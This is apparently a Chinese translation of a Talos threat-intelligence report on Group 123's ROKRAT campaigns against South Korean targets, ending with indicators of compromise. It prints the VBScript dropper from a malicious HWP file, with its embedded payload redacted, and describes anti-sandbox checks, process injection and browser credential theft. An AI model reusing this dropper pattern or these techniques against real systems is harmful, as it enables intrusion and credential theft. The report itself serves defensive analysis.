导语:盘点一年来由APT组织Group 123主导的针对韩国目标的多次攻击行动。
(五)2017.11:NORTH KOREAN HUMAN RIGHTS
2017年11月,Talos观测到了Group123今年的最新行动,其中包括了最近一波攻击中使用的新版ROKRAT。Group123再次使用了他们的主要手段之一,恶意的HWP文件。 这一次,使用了一个与11月1日在韩国首尔所举办会议相关信息的文档。据声称,此文档是由代表“朝鲜人权与半岛统一公民联盟”的法定代表人撰写的。Group 123再次使用了与朝鲜统一有关的信息,现在强调与人权有关的问题。
该文档为Talos带来了新的礼物——新版ROKRAT。分析发现,Group 123行动的文档使用完美的韩文文字和方言书写,表明该组织源自朝鲜半岛。
进一步分析文档,该文档提及了自称是“朝鲜人权与南北联合公民联盟”的律师所提的“朝鲜人权与统一共同体”。文档的主要目的是安排开会讨论与2016年在韩国通过的“朝鲜人权法”和“颁布法”相关的议题。我们认为,该文档试图以地区利益相关者为目标,吸引他们参与讨论,就与这些活动有关的想法开展工作。会议定于2017年11月1日举行,文档试图在会议举办之前获得足够的关注。
Group 123再次利用HWP文档中的OLE对象。从zlib解压缩(HWP文档的标准)开始分析,我们可以恢复如下脚本:
const strEncode = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hV[...redacted...]AAAAAAAAAAAAAAAAAAAAAA=" DIM outFile DIM base64Decoded DIM shell_obj SET shell_obj = CreateObject("WScript.Shell") DIM fso SET fso = CreateObject("Scripting.FileSystemObject") outFile = "c:ProgramDataHncModuleUpdate.exe" base64Decoded = decodeBase64(strEncode) IF NOT(fso.FileExists(outFile)) then writeBytes outFile, base64Decoded shell_obj.run outFile END IF WScript.Quit() private function decodeBase64(base64) DIM DM, EL SET DM = CreateObject("Microsoft.XMLDOM") SET EL = DM.createElement("tmp") EL.DataType = "bin.base64" EL.Text = base64 decodeBase64 = EL.NodeTypedValue end function private Sub writeBytes(file, bytes) DIM binaryStream SET binaryStream = CreateObject("ADODB.Stream") binaryStream.Type = 1 binaryStream.Open binaryStream.Write bytes binaryStream.SaveToFile file, 1 End Sub
执行脚本,解码strEncode变量中的静态base64字符串。解码后的二进制文件保存为HncModuleUpdate.exe,之后执行,这是ROKRAT dropper。Talos怀疑选中这个文件名,是为了在运行的进程列表中将其显示为潜在的Hancom更新程序。
该dropper用于提取名为SBS的新资源,此特定资源包含软件使用的恶意shellcode。此外,我们还看到一个cmd.exe进程启动并使用了VirtualAlloc,WriteProcessMemory和CreateRemoteThread这些Windows API用于进程注入,与第一个发现的ROKRAT一样使用了类似的Windows API。如下IDA的图形视图显示了这些步骤。
通过解码PE二进制文件、注入到cmd.exe进程这些步骤来启动新的ROKRAT变种。此次行动中Group 123把下面的图片作为诱饵图片发送给用户。 这张照片显示了与韩国独立运动相关的各种公开途径获取的图片,与朝鲜战争有关。
我们对这个新版的ROKRAT进行了深入分析,注意到与Group 123的Evil New Years行动有一些相似之处(稍后本文将讨论这些相似性)。
这个ROKRAT变种包含反沙盒技术,通过检查以下库是否加载到受害机器上来实现:
SbieDll.dll (sandboxie library) Dbghelp.dll (Microsoft debugging tools) Api_log.dll (threatAnalyzer / GFI SandBox) Dir_watch.dll (threatAnalyzer / GFI SandBox)
我们发现ROKRAT变种使用了一些增加分析难度的技术——与NOP相关的反调试技术。
nop dword ptr [eax + eax + 00h]是一个5字节的NOP。但是一些调试工具不能正确支持此操作码,例如Immunity Debugger会使用红色???代替,这使得调试很费力。
此版本的ROKRAT带有Browser Stealer机制,它与2016年在FreeMilk行动中使用的Freenki恶意软件所使用的机制类似,只做了一些改动。
此次行动中,Group 123继续使用云平台,利用了pCloud,Dropbox,Box和Yandex。最后,行动中使用样本的PDB:d:HighSchoolversion 132ndBDT+MT+MResultDocPrint.pdb。(六)2018.01: EVIL NEW YEAR 2018
正如我们在2017年初所观察到的,Group 123开始了与2018年新年相对应的行动。行动于1月2日开始,感染载体是一个恶意的HWP文件:
诱饵文件是朝鲜领导人在2018年新年演讲的分析。此方法与2017年使用的诱饵文档完全相同。文档宣称是由统一部编写的,如左上方的标识所示。与Golden Time行动类似,文档利用EPS漏洞下载并执行位于受感染网站上的shellcode:hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png。
使用假图片是该组织的一个常见模式。图片包含用于解码嵌入式payload的shellcode:ROKRAT。这个ROKRAT变种是从内存中加载的,是无文件版本。此行为表明,Group 123不断完善以规避检测。像以往一样,ROKRAT样本使用云提供商与运营者通信,这次利用的是Yandex,pCloud,Dropbox和Box。
三、不同行动之间的关联
(一)代码共享
Talos已经确定,Group 123在不同恶意软件之间共享代码。本文提到的样本中共享了几个功能; 但在本文中只介绍了其中两个:侦察阶段和浏览器窃取工具。
侦察阶段
两个Evil New Year和North Korean Human Rights行动中使用的ROKRAT样本包含同一侦察阶段。在Evil New Year行动中,payload分为两部分,第一部分包含侦察代码。另一个行动中,侦察阶段直接包含在payload中。而代码完全一样。
恶意软件使用以下注册表项来获取机器类型:
HKLMSystemCurrentControlSetServicesmssmbiosDataSMBiosData。System manufacturer的值用于识别机器的类型。该代码基于论坛帖子(rohitab.com)所讨论的Win32 API的使用。源代码仅考虑以下机器类型:
default: lpString = "(Other)"; break; case 0x02: lpString = "(Unknown)"; break; case 0x03: lpString = "(Desktop)"; break; case 0x04: lpString = "(Low Profile Desktop)"; break; case 0x06: lpString = "(Mini Tower)"; break; case 0x07: lpString = "(Tower)"; break; case 0x08: lpString = "(Portable)"; break; case 0x09: lpString = "(Laptop)"; break; case 0x0A: lpString = "(Notebook)"; break; case 0x0E: lpString = "(Sub Notebook)"; break;
字符串格式——()中的类型与ROKRAT样本中使用的完全相同。
有趣的是,这个侦察阶段并没有包含在Golden Time行动中所使用的ROKRAT变体中。
浏览器凭据窃取工具
North Korean Human Rights期间使用的ROKRAT样本第一次包含浏览器凭据窃取工具。 用于执行此任务的代与2016年部署在Freenki样本中的代码相同。恶意软件能够从Internet Explorer,Chrome和Firefox中提取存储的口令。对于Chrome和Firefox,恶意软件会查询包含URL、用户名和口令的sqlite数据库:
此外,他们还支持Microsoft Vault机制。Vault在Windows 7中实施,包含Internet Explorer中的所有敏感数据(如凭据)。以下是Vault API的初始化:
左边是ROKRAT样本,右边是FreeMilk样本。可以看到,除了代码之外,作者还复制了诸如IE Registery等英文错字:
(二)PDB 路径
我们可以识别出本文中提及的所有二进制文件的PDB命名约定中的模式。
ROKRAT: e:HappyWorkSourceversion 12T+MResultDocPrint.pdb (始于Evil New Year) d:HighSchoolversion 132ndBDT+MT+MResultDocPrint.pdb (始于North Korean Human Rights) D:HighSchoolversion 13First-Dragon(VS2015)SampleReleaseDogCall.pdb (始于6月份一次未定义名称行动中的ROKRAT样本) Wiper: D:HighSchoolversion 13VC2008(Version15)T+MT+MTMProjectReleaseErasePartition.pdb (始于Are You Happy?)
(三)总结图表
下图显示了本文中提到的每个行动之间的相似点和差异:
四、结论
韩国正在成为恶意攻击者的一个重要目标,所使用的技术也正变得专门针对该地区(例如:使用本国语言,确保目标感觉到发送给他们的信息、文件或电子邮件更合法) 。在特定的行动中,攻击者花时间攻陷了包括延世和KGLS在内的多个合法的韩国平台,以打造鱼叉式的钓鱼行动或承担指挥和控制。此方法对技术不太先进的攻击者来说并不常见,这表现出了攻击者对韩国地区的高度熟悉和认知。
然而Group 123的行动并不局限于韩国。对于国际目标,他们能够切换到更为标准的攻击媒介,如使用Microsoft Office文档,而不是针对韩国受害者使用的特定HWP文档。Group 123会毫不犹豫地使用公共漏洞和脚本语言来投放和执行恶意payload。我们注意到,该组织使用攻陷的合法网站(主要是Wordpress)和云平台与受感染的系统进行通信,此方法使得通过分析网络流量来检测通信变得更困难。虽然攻击者的武器多样,但我们已经确定了其部分模式:复制粘贴来自各个公共存储库的代码以及不同代码之间的相似性。除远程管理工具之外,我们还识别出了一个擦除器。我们得出结论:该组织参与了情报收集活动,最后企图破坏。
以目前对攻击者的了解,我们预测他们不会很快消失,在未来几年将继续活跃。ROKRAT增加了新的无文件功能,Group 123不断发展进步。我们也相信他们的目标可能会改变,但目前侧重于朝鲜半岛。然而,进一步完善了TTP,他们的能力随着时间的推移而不断发展。
五、IOCS
Golden Time
Maldoc #1 sha256:
7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
Maldoc #2 sha256:
5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f
ROKRAT #1:
cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
ROKRAT #1:
051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00
Network:
恶意URLs:
– hxxp://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
– hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg
安全 URLs:
-hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
– hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4
Evil New Year
Maldoc sha256:
281828d6f5bd377f91c6283c34896d0483b08ac2167d34e981fbea871893c919
Dropped #1:
95192de1f3239d5c0a7075627cf9845c91fd397796383185f61dde893989c08a
Dropped #2:
7ebc9a1fd93525fc42277efbccecf5a0470a0affbc4cf6c3934933c4c1959eb1
Dropped #3:
6c372f29615ce8ae2cdf257e9f2617870c74b321651e9219ea16847467f51c9f
Dropped #4:
19e4c45c0cd992564532b89a4dc1f35c769133167dc20e40b2a41fccb881277b
Dropped #5:
3a0fc4cc145eafe20129e9c53aac424e429597a58682605128b3656c3ab0a409
Dropped #6:
7d8008028488edd26e665a3d4f70576cc02c237fffe5b8493842def528d6a1d8
Unpacked #1:
7e810cb159fab5baccee7e72708d97433d92ef6d3ef7d8b6926c2df481ccac2f
Unpacked #1:
21b098d721ea88bf237c08cdb5c619aa435046d9143bd4a2c4ec463dcf275cbe
Unpacked #1:
761454dafba7e191587735c0dc5c6c8ab5b1fb87a0fa44bd046e8495a27850c7
Unpacked #1:
3d442c4457cf921b7a335c0d7276bea9472976dc31af94ea0e604e466596b4e8
Unpacked #1:
930fce7272ede29833abbfb5df4e32eee9f15443542434d7a8363f7a7b2d1f00
Unpacked #1:
4b20883386665bd205ac50f34f7b6293747fd720d602e2bb3c270837a21291b4
Unpacked #1:
f080f019073654acbe6b7ab735d3fd21f8942352895890d7e8b27fa488887d08
Network:
– www[.]imuz[.]com/admin/data/bbs/review2/board/index.php
– www[.]imuz[.]com/admin/data/bbs/review2/board/123.php
-www[.]imuz[.]com/admin/data/bbs/review2/board/02BC6B26_put.jpg(其中
02BC6B26 随机生成)
– www[.]wildrush[.]co[.]kr/bbs/data/image/work/webproxy.php
-www[.]wildrush[.]co[.]kr/bbs/data/image/work/02BC6B26_put.jpg(其中02BC6B26 随机生成)
– www[.]belasting-telefoon[.]nl//images/banners/temp/index.php
– www[.]belasting-telefoon[.]nl//images/banners/temp/02BC6B26_put.jpg (其中
02BC6B26 随机生成)
– www[.]kgls[.]or[.]kr/news2/news_dir/index.php
-www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg (其中 02BC6B26 随机生成)
Are You Happy?
Wiper sha256:
6332c97c76d2da7101ad05f501dc1188ac22ce29e91dab6d0c034c4a90b615bd
FreeMilk
Office sha256:
f1419cde4dd4e1785d6ec6d33afb413e938f6aece2e8d55cf6328a9d2ac3c2d0
HTA sha256:
a585849d02c94e93022c5257b162f74c0cdf6144ad82dd7cf7ac700cbfedd84f
JS sha256:
1893af524edea4541c317df288adbf17ae4fcc3a30d403331eae541281c71a3c
PoohMilk sha256:
35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2
Freenki sha256:
7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
Freenki 2016:
99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
Network:
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
– hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg
– hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp
– hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
North Korean Human Rights
Maldoc sha256:
171e26822421f7ed2e34cc092eaeba8a504b5d576c7fd54aa6975c2e2db0f824
Dropper #1:
a29b07a6fe5d7ce3147dd7ef1d7d18df16e347f37282c43139d53cce25ae7037
Dropper #2:
eb6d25e08b2b32a736b57f8df22db6d03dc82f16da554f4e8bb67120eacb1d14
Dropper #3:
9b383ebc1c592d5556fec9d513223d4f99a5061591671db560faf742dd68493f
ROKRAT::b3de3f9309b2f320738772353eb724a0782a1fc2c912483c036c303389307e2e
Evil New Year 2018
Maldoc sha256:
f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead
PNG : bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950
ROKRAT::3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1
Network:
– hxxp://60chicken[.]co[.]kr/wysiwyg/PEG_temp/logo1.png